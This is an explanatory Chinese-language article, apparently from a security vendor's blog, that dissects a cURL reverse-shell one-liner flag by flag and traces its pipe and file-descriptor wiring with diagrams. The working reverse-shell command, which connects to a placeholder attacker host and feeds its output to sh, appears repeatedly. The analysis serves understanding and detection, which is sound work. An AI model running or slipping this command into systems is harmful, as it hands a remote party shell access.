长亭百川云 - 文章详情

cURL 反弹 Shell 命令原理

Werner

30

2024-07-08

cURL 反弹 Shell 命令原理

cURL 是一款开源命令行工具,用于向指定 URL 发送数据并接收返回结果,常用于下载文件、请求基于 HTTP 协议的 API 接口等。

cURL 结合 Linux 和 Bash 的一些特性也可用于反弹 Shell。命令如下:

{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

该反弹 Shell 命令较为复杂,本文将逐步解析该命令,分析它的工作原理。

cURL 参数

执行 man curl 命令可以查询到该反弹 Shell 命令中 cURL 各个参数的含义,整理后列举如下:

  • -s, --silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout
  • -N, --no-buffer:禁用输出流的缓冲功能。正常情况下,cURL 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
  • -k, --insecure:忽略证书错误。
  • -T, --upload-file :上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容;也可用 . 做文件名,以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

Bash 特性

冒号

该反弹 Shell 命令的最后一个字符——冒号——是一个 Bash 内置命令,执行 man bash 命令查看手册可以找到如下的说明:

: [参数]
	无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。

花括号

该反弹 Shell 命令中花括号的用法是命令组,可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令:

{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出,out.txt 的内容是:

1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt

需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。

另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:

{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt,而不是 outer.txt

Linux 特性

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>

语法分析

为理解该反弹 Shell 命令,我们先对其进行语法分析。

该反弹 Shell 命令被倒数第二个字符 | (管道)分为前后两部分,如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。

                                +-------+
                                |       |
                                |   |   |
                                |       |
                                +-+---+-+
                                  |   |
              +------------+      |   |       +-------+
              |            |      |   |       |       |
              | {...} 3>&1 +------+   +-------+   :   |
              |            |                  |       |
              +------+-----+                  +-------+
                     |
              +------+-----+
              |            |
              |      |     |
              |            |
              +---+---+----+
                  |   |
                  |   +-------------------------------------+
                  |                                         |
+-----------------+------------------------------+    +-----+----+
|                                                |    |          |
|  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
|                                                |    |          |
+------------------------------------------------+    +----------+

fd 重定向分析

完成语法分析后来对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdinstdout 都是 pts/0。外层 |(倒数第二个字符)产生的匿名管道为 pipe1,内层 |(cURL 和 sh 之间的管道)产生的匿名管道为 pipe2

可标注出外层 | 前后命令的 fd 如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                              stdin : pipe1
                         stdout: pipe1                                              stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1,即 stdout,如下图所示。

                                                                  +-------+
                                                                  |       |
                                                                  |   |   |
                                                                  |       |
                                                                  +-+---+-+
                                                                    |   |
+------------------------------------------------------------+      |   |       +-------+
|                                                            |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+   +-------+   :   |
|                                                            |                  |       |
+------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                         stdin : pipe1
                         stdout: pipe1                                         stdout: pts/0
                         fd 3  : pipe1

命令组中的命令会继承 {} 的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 cURL 和 sh 的 fd 如下图所示。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+------------------------------+    +-----+----+
 |                                                |    |          |
 |  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
 |                                                |    |          |
 +------------------------------------------------+    +----------+

                 stdin : pts/0                         stdin : pipe2
                 stdout: pipe2                         stdout: pipe1
                 fd 3  : pipe1                         fd 3  : pipe1

cURL 和 sh 各自又有一个重定向。cURL 的 </dev/fd/3 表示把 stdin 重定向为 fd 3,即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+--------------------+              +-----+----+
 |                                      |              |          |
 |  curl -sNkT . https://$LHOST:$LPORT  |              |    sh    |
 |                                      |              |          |
 +--------------------------------------+              +----------+

                stdin : pipe1                          stdin : pipe2
                stdout: pipe2                          stdout: pipe1
                fd 3  : pipe1

从上图可以很清晰地看出,cURL 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 cURL 的 stdout 分别通过匿名管道 pipe1pipe2 相连。

总结

该反弹 Shell 命令利用 Bash 的命令组、管道和重定向等特性让 cURL 命令和 sh 命令的 stdinstdout 交错相连;通过为 cURL 添加 -T 等参数和文件名 . 让 cURL 读取 stdin 的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2